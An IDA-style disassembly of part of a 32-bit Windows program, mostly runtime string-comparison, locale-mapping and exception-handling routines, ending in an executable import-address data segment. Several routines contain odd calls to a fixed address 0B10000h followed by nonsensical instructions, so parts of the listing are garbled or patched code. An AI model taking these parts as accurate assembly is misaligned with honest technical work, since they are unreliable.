		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_41B1D0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D531
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42671A
		lea	eax, [ebp-3Ch]
		push	offset dword_4291A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_428D40
		call	sub_426B9B
		pop	esi
sub_4268EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426946	proc near		; CODE XREF: sub_426983+20p
					; DATA XREF: seg001:004291A4o
		mov	eax, offset loc_427170
		call	sub_41CE54
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_428D2C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D4F9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426B47
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426946	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426983	proc near		; DATA XREF: seg001:00428D48o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4269BC
		lea	eax, [ebp+var_1C]
		push	offset dword_4291A0
		push	eax
		call	sub_426B9B


loc_4269A0:				; DATA XREF: seg001:off_428D40o
		push	esi
		mov	esi, ecx
		call	sub_426946
		test	[esp+20h+var_18], 1
		jz	short loc_4269B6
		push	esi
		call	sub_41CE73
		pop	ecx


loc_4269B6:				; CODE XREF: sub_426983+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_426983	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4269BC	proc near		; CODE XREF: sub_426983+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_426801
		mov	dword ptr [esi], offset	off_428D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4269BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4269D4	proc near		; DATA XREF: seg002:0042A014o

; FUNCTION CHUNK AT 00426A0A SIZE 0000000C BYTES

		test	ds:byte_4DE1D4,	1
		jnz	short loc_4269E4
		or	ds:byte_4DE1D4,	1


loc_4269E4:				; CODE XREF: sub_4269D4+7j
		call	sub_4269FE
		test	ds:byte_4DF560,	1
		jnz	short loc_4269F9
		or	ds:byte_4DF560,	1


loc_4269F9:				; CODE XREF: sub_4269D4+1Cj
		jmp	loc_426A0A
sub_4269D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4269FE	proc near		; CODE XREF: sub_4269D4:loc_4269E4p
		push	offset nullsub_1
		call	sub_41D230
		pop	ecx
		retn
sub_4269FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269D4


loc_426A0A:				; CODE XREF: sub_4269D4:loc_4269F9j
		push	offset nullsub_1
		call	sub_41D230
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4269D4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A18	proc near		; CODE XREF: sub_40CC86+5Ep
					; sub_40ED60+148p ...
		jmp	ds:dword_42822C
sub_426A18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A1E	proc near		; CODE XREF: sub_41CAC0+23p
					; sub_41CD64+13p
		jmp	ds:dword_4281A0
sub_426A1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_426A24	proc near		; CODE XREF: sub_4172D8+E2p
					; sub_4172D8+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	ds:dword_4DDF74, 0
		push	ebx
		jnz	short loc_426A6A
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426A36:				; CODE XREF: sub_426A24+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426A48
		cmp	bx, 41h
		jb	short loc_426A48
		add	ebx, 20h


loc_426A48:				; CODE XREF: sub_426A24+19j
					; sub_426A24+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426A5A
		cmp	ax, 41h
		jb	short loc_426A5A
		add	eax, 20h


loc_426A5A:				; CODE XREF: sub_426A24+2Bj
					; sub_426A24+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_426A9A
		cmp	bx, ax
		jz	short loc_426A36
		jmp	short loc_426A9A
; ---------------------------------------------------------------------------


loc_426A6A:				; CODE XREF: sub_426A24+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426A74:				; CODE XREF: sub_426A24+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426BD5
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426BD5
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426A98
		cmp	bx, ax
		jz	short loc_426A74


loc_426A98:				; CODE XREF: sub_426A24+6Dj
		pop	edi
		pop	esi


loc_426A9A:				; CODE XREF: sub_426A24+3Dj
					; sub_426A24+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426A24	endp


; =============== S U B	R O U T	I N E =======================================



sub_426AA4	proc near		; DATA XREF: seg001:off_428D68o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426B47
		test	[esp+4+arg_0], 1
		jz	short loc_426ABA
		push	esi
		call	sub_41CE73
		pop	ecx


loc_426ABA:				; CODE XREF: sub_426AA4+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426AA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426AC0	proc near		; CODE XREF: sub_42671A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_428D68
		push	dword ptr [edi]
		call	sub_41B1D0
		inc	eax
		push	eax
		call	sub_41D1B5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426AEF
		push	dword ptr [edi]
		push	eax
		call	sub_41C0A0
		pop	ecx
		pop	ecx


loc_426AEF:				; CODE XREF: sub_426AC0+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426AFD	proc near		; CODE XREF: sub_426801+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_428D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426B3A
		push	dword ptr [edi+4]
		call	sub_41B1D0
		inc	eax
		push	eax
		call	sub_41D1B5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426B40
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C0A0
		pop	ecx
		pop	ecx
		jmp	short loc_426B40
; ---------------------------------------------------------------------------


loc_426B3A:				; CODE XREF: sub_426AFD+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_426B40:				; CODE XREF: sub_426AFD+2Ej
					; sub_426AFD+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426AFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B47	proc near		; CODE XREF: sub_4267A8+2Bp
					; sub_42685E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_428D68
		jz	short locret_426B5C
		push	dword ptr [ecx+4]
		call	sub_41CE73
		pop	ecx

locret_426B5C:				; CODE XREF: sub_426B47+Aj
		retn
sub_426B47	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B5D	proc near		; DATA XREF: seg001:00428D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426B69
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426B69:				; CODE XREF: sub_426B5D+5j
		retn
sub_426B5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B6A	proc near		; CODE XREF: seg000:00426B82p
		mov	dword ptr [ecx], offset	off_428D88
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_426B7E
		push	ecx
		call	sub_41B2A1
		pop	ecx

locret_426B7E:				; CODE XREF: sub_426B6A+Bj
		retn
sub_426B6A	endp

; ---------------------------------------------------------------------------


loc_426B7F:				; DATA XREF: seg001:off_428D88o
		push	esi
		mov	esi, ecx
		call	sub_426B6A
		test	byte ptr [esp+8], 1
		jz	short loc_426B95
		push	esi
		call	sub_41CE73
		pop	ecx


loc_426B95:				; CODE XREF: seg000:00426B8Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B9B	proc near		; CODE XREF: sub_4266C0+54p
					; sub_42678B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_428D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_42805C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_426B9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BD5	proc near		; CODE XREF: sub_426A24+56p
					; sub_426A24+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426BE7
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426BE7:				; CODE XREF: sub_426BD5+Bj
		cmp	ds:dword_4DDF74, 0
		jnz	short loc_426C01
		cmp	ax, 41h
		jb	short locret_426C48
		cmp	ax, 5Ah
		ja	short locret_426C48
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C01:				; CODE XREF: sub_426BD5+19j
		cmp	ax, 100h
		jnb	short loc_426C1B
		push	1
		push	eax
		call	sub_426E83
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426C1B
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C1B:				; CODE XREF: sub_426BD5+30j
					; sub_426BD5+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	ds:dword_4DDF74
		call	sub_426C4A
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426C48
		mov	ax, [ebp+var_2]

locret_426C48:				; CODE XREF: sub_426BD5+1Fj
					; sub_426BD5+25j ...
		leave
		retn
sub_426BD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C4A	proc near		; CODE XREF: sub_426BD5+5Fp

var_9B78B40	= dword	ptr -9B78B40h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428DB0
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	ds:dword_4DE1CC, esi
		jnz	short loc_426CC0
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_428940
		mov	edi, 100h
		push	edi
		push	esi
		call	ds:dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_426C9E
		mov	ds:dword_4DE1CC, ebx
		jmp	short loc_426CC0
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C4A+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CDAB0
		push	edi
		push	esi
		call	near ptr 0B10000h
		into
		test	eax, eax
		jz	loc_426E3F
		mov	ds:dword_4DE1CC, 2


loc_426CC0:				; CODE XREF: sub_426C4A+2Ej
					; sub_426C4A+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426CD5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426E53
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426CD5:				; CODE XREF: sub_426C4A+79j
		mov	eax, ds:dword_4DE1CC
		cmp	eax, 1
		jnz	short loc_426CFC
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_428050	; LCMapStringW
		jmp	loc_426E41
; ---------------------------------------------------------------------------


loc_426CFC:				; CODE XREF: sub_426C4A+93j
		cmp	eax, 2
		jnz	loc_426E3F
		cmp	[ebp+arg_18], esi
		jnz	short loc_426D12
		mov	eax, ds:dword_4DDF84
		mov	[ebp+arg_18], eax


loc_426D12:				; CODE XREF: sub_426C4A+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_428180	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426E3F
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426D58
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426D58:				; CODE XREF: sub_426C4A+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426E3F
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_428180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426E3F
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 0B10000h
		repne mov edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426E3F
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426DDB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426DDB:				; CODE XREF: sub_426C4A+17Dj
		cmp	ebx, esi
		jz	short loc_426E3F
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 0B10000h
		mov	[ebp+var_9B78B40], eax
		inc	ebp
		or	eax, 8B1C7404h
		inc	ebp
		sbb	al, 3Bh
		mov	byte ptr [edi+esi+3Bh],	0C7h
		jl	short loc_426E0A
		mov	eax, edi


loc_426E0A:				; CODE XREF: sub_426C4A+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B7E0
		add	esp, 0Ch
		jmp	short loc_426E3B
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_14], esi
		jnz	short loc_426E22
		push	esi
		push	esi
		jmp	short loc_426E28
; ---------------------------------------------------------------------------


loc_426E22:				; CODE XREF: sub_426C4A+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426E28:				; CODE XREF: sub_426C4A+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	ds:dword_428184	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426E3F


loc_426E3B:				; CODE XREF: sub_426C4A+1CDj
		mov	eax, edi
		jmp	short loc_426E41
; ---------------------------------------------------------------------------


loc_426E3F:				; CODE XREF: sub_426C4A+66j
					; sub_426C4A+B5j ...
		xor	eax, eax


loc_426E41:				; CODE XREF: sub_426C4A+ADj
					; sub_426C4A+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E53	proc near		; CODE XREF: sub_426C4A+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426E72


loc_426E63:				; CODE XREF: sub_426E53+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426E72
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426E63


loc_426E72:				; CODE XREF: sub_426E53+Ej
					; sub_426E53+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426E80
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426E80:				; CODE XREF: sub_426E53+24j
		mov	eax, edx
		retn
sub_426E53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E83	proc near		; CODE XREF: sub_426BD5+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426EC3
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426EA7
		movzx	eax, [ebp+arg_0]
		mov	ecx, ds:off_43EF8C
		mov	ax, [ecx+eax*2]
		jmp	short loc_426ECA
; ---------------------------------------------------------------------------


loc_426EA7:				; CODE XREF: sub_426E83+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426ED5	; CODE XREF: sub_426ED5+5Ej
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426EC7


loc_426EC3:				; CODE XREF: sub_426E83+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426EC7:				; CODE XREF: sub_426E83+3Ej
		mov	eax, [ebp+var_4]


loc_426ECA:				; CODE XREF: sub_426E83+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426E83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426ED5	proc near		; CODE XREF: sub_426E83+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428DC8
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_4DE1D0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426F44
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_428940
		push	esi
		call	ds:dword_428020	; GetStringTypeW
		test	eax, eax
		jz	short loc_426F22
		mov	eax, esi
		jmp	short loc_426F3F
; ---------------------------------------------------------------------------


loc_426F22:				; CODE XREF: sub_426ED5+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CDAB0
		push	esi
		push	edi
		call	near ptr 0B10000h
		jg	short near ptr loc_426EB7+3
		ror	byte ptr [edi],	84h
		dec	edx
		add	[eax], eax
		add	[edx+2], ch
		pop	eax


loc_426F3F:				; CODE XREF: sub_426ED5+4Bj
		mov	ds:dword_4DE1D0, eax


loc_426F44:				; CODE XREF: sub_426ED5+2Fj
		cmp	eax, 1
		jnz	short loc_426F60
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_428020	; GetStringTypeW
		jmp	loc_427088
; ---------------------------------------------------------------------------


loc_426F60:				; CODE XREF: sub_426ED5+72j
		cmp	eax, 2
		jnz	loc_427086
		cmp	[ebp+arg_10], edi
		jnz	short loc_426F76
		mov	eax, ds:dword_4DDF84
		mov	[ebp+arg_10], eax


loc_426F76:				; CODE XREF: sub_426ED5+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	ds:dword_428180	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_427086
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426FD4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426FD4:				; CODE XREF: sub_426ED5+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_427086
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	ds:dword_428180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_427086
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_427029
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_427029:				; CODE XREF: sub_426ED5+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_427086
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42703D
		mov	eax, ds:dword_4DDF74


loc_42703D:				; CODE XREF: sub_426ED5+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 0B10000h
		pop	eax
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_427086
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_427086
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CE80
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_427088
; ---------------------------------------------------------------------------


loc_427086:				; CODE XREF: sub_426ED5+8Ej
					; sub_426ED5+C0j ...
		xor	eax, eax


loc_427088:				; CODE XREF: sub_426ED5+86j
					; sub_426ED5+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426ED5	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42709C	proc near		; DATA XREF: seg001:00428F6Co

; FUNCTION CHUNK AT 0040D2EC SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D2EC
sub_42709C	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4270BA
		mov	ecx, [ebp+8]
		jmp	loc_40D2EC
; ---------------------------------------------------------------------------

locret_4270BA:				; CODE XREF: seg000:004270ACj
		retn
; ---------------------------------------------------------------------------


loc_4270BB:				; DATA XREF: sub_40CEC7o
		mov	eax, offset dword_428F70
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D2EC
; ---------------------------------------------------------------------------


loc_4270D0:				; DATA XREF: seg001:00428F98o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D2EC
; ---------------------------------------------------------------------------


loc_4270D8:				; DATA XREF: sub_40D066o
		mov	eax, offset dword_428F9C
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4


loc_4270E4:				; DATA XREF: sub_40D5CDo
		mov	eax, offset dword_428FEC
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40D2EC
; ---------------------------------------------------------------------------


loc_4270F8:				; DATA XREF: sub_4266C0o
		mov	eax, offset dword_429088
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_426B47
; ---------------------------------------------------------------------------


loc_42710C:				; DATA XREF: sub_42671Ao
		mov	eax, offset dword_4290B0
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426B47
; ---------------------------------------------------------------------------


loc_427120:				; DATA XREF: sub_4267A8o
		mov	eax, offset dword_4290F8
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426B47
; ---------------------------------------------------------------------------


loc_427134:				; DATA XREF: sub_426801o
		mov	eax, offset dword_429120
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_426B47
; ---------------------------------------------------------------------------


loc_427148:				; DATA XREF: sub_42685Eo
		mov	eax, offset dword_429148
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40D2EC
; ---------------------------------------------------------------------------


loc_42715C:				; DATA XREF: sub_4268ECo
		mov	eax, offset dword_4291B0
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426B47
; ---------------------------------------------------------------------------


loc_427170:				; DATA XREF: sub_426946o
		mov	eax, offset dword_4291D8
		jmp	loc_41CB0F
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 00028000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00028000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 428000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_428000	dd 77E75D9Eh		; DATA XREF: sub_40FCD8+1FBr
		dd 77E6BD68h
dword_428008	dd 77E77F2Eh		; DATA XREF: sub_426153+3Er
					; sub_426153+261r
dword_42800C	dd 77E762D0h		; DATA XREF: sub_426153+5Br
					; sub_426153+B9r
		dd 77E70192h, 77E7176Ch, 77E7339Ch
dword_42801C	dd 77E7C9E7h		; DATA XREF: sub_4249A2+5r
					; sub_4249B3+6r
dword_428020	dd 77E7C866h		; DATA XREF: seg000:00423F76r
					; seg000:00424064r ...
		dd 77E641EBh, 77E73FF9h, 77E7FF2Eh, 77E78406h, 77E79C3Dh
		dd 77E7C931h
dword_42803C	dd 77E77EE1h		; DATA XREF: sub_4234D4+9r
dword_428040	dd 77E67702h		; DATA XREF: sub_4234D4:loc_423503r
					; sub_4234D4+E1r
dword_428044	dd 77E7C9E1h		; DATA XREF: sub_4234D4+CEr
		dd 77E9C5B1h
dword_42804C	dd 77EB9A84h		; DATA XREF: sub_422FF2+138r
